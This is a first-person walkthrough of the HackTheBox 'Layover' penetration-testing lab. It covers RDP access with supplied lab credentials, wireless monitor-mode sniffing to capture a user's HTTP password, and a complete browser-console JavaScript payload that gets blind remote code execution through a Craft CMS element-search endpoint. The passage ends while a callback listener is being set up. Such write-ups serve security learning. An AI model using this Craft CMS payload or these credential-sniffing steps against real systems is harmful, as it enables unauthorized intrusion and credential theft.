Layover is a multi-stage penetration-testing lab that simulates an airport-related enterprise environment. It’s a medium-difficulty machine introduced by HTB in its 12th season. I found this lab particularly fascinating because it gave me a glimpse of what lies ahead in my journey as a penetration tester, from starting with basic credentials to gradually escalating privileges and gaining root access.
Here’s the breakdown:
Methodology: Enumeration → Wireless Traffic Analysis → Web Exploitation → Credential Recovery → Privilege Escalation
First basic enumeration with nmap, nmap <TARGET>. Nmap discover two ports SSH on port 22, and Port 3389 (RDP). At first I didn’t know the lab wanted me to connect to the RDP port using the credentials provided, because there wasn’t any info about the lab, so I tried connecting to the SSH port and it failed. So I had retrace my step and connect to the RDP port using: xfreerdp3 /v:<TARGET IP> /u:contractor /p:'Contractor2026!' [/cert:ignore /dynamic-resolution](https://app.notion.com/p/3fe3eb3795598025b562cbbc75e3c1cf) .
After connecting to the airside-ws01 workstation, ip a for local network enum. This exposed the interfaces on network including wlan2 and wlan3 which are wireless interfaces, but both were disconnected so nmcli dev wifi list ifname wlan2 to discover nearby wireless network.
This revealed:
HTB International WiFi610.13.37.0/24Then I procceded to attempt to connect to the wireless network withnmcli dev wifi connect "HTB International WiFi" ifname wlan2 and ip -4 addr show wlan2 to confirm connection. Then the next step was to leave wlan2 connected while using wlan3 to observe wireless traffic on channel 6, using the commands:
sudo nmcli dev set wlan3 managed no
sudo ip link set wlan3 down
sudo iw dev wlan3 set type monitor
sudo ip link set wlan3 up
sudo iw dev wlan3 set channel 6
Next objective is to identify HTTP authentication requests on the lab's wireless network and recover the credentials intended for the internal Craft CMS portal. To achieve this I captured traffic using sudo tcpdump -i wlan3 -s 0 -w /tmp/layover-wifi.pcap It should capture Jenny’s password. I then used it to connect to http://portal.international.htb/
Move to http://portal.international.htb/admin, login with Jenny’s username and the password you got from the wireless traffic capture. Then Identify the Craft CMS version and Locate the vulnerable endpoint (/admin/actions/element-search/search) Then go to the console/terminal in F12/ Inspect and confirm RCE with a timing test:
(async () => {
const csrf = window.Craft.csrfTokenValue;
const payload = {
elementType: "craft\\elements\\Category",
siteId: 1,
search: "",
condition: {
class: "craft\\elements\\conditions\\ElementCondition",
elementType: "craft\\elements\\Category",
fieldLayouts: [{
"as rce": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [{
attributeTypes: {
typecastBeforeSave: [
"Psy\\Readline\\Hoa\\ConsoleProcessus",
"execute"
]
},
typecastBeforeSave: "sleep 5"
}]
},
"on *": "self::beforeSave"
}]
}
};
const start = performance.now();
const response = await fetch(
"/index.php?p=admin/actions/element-search/search",
{
method: "POST",
credentials: "same-origin",
headers: {
"Content-Type": "application/json",
"Accept": "application/json",
"X-CSRF-Token": csrf
},
body: JSON.stringify(payload)
}
);
console.log({
status: response.status,
seconds: (performance.now() - start) / 1000,
response: (await response.text()).slice(0, 300)
});
})();
What this does: The request submits a crafted element-search condition. Its injected Yii behavior attempts to invoke sleep 5 on the server.
Because sleep 5 doesn't change files or return data, it's a useful initial execution test.
Expected observation: The HTTP response takes approximately five seconds longer than an ordinary request, As seen below;
HTTP Status: 500
Execution time: 5.0846 seconds
Response: {"name":"Exception","message":"A server error occurred.","code":0}
Next step is to verify command execution with a callback. Since the response is a blind RCE, the command's output doesn't appear in the browser. I confirmed the execution using an HTTP callback to the lab workstation (airside-ws01). ip -4 addr show wlan2 to get your ip address, Then start a listener: python3 -m http.server 8000 .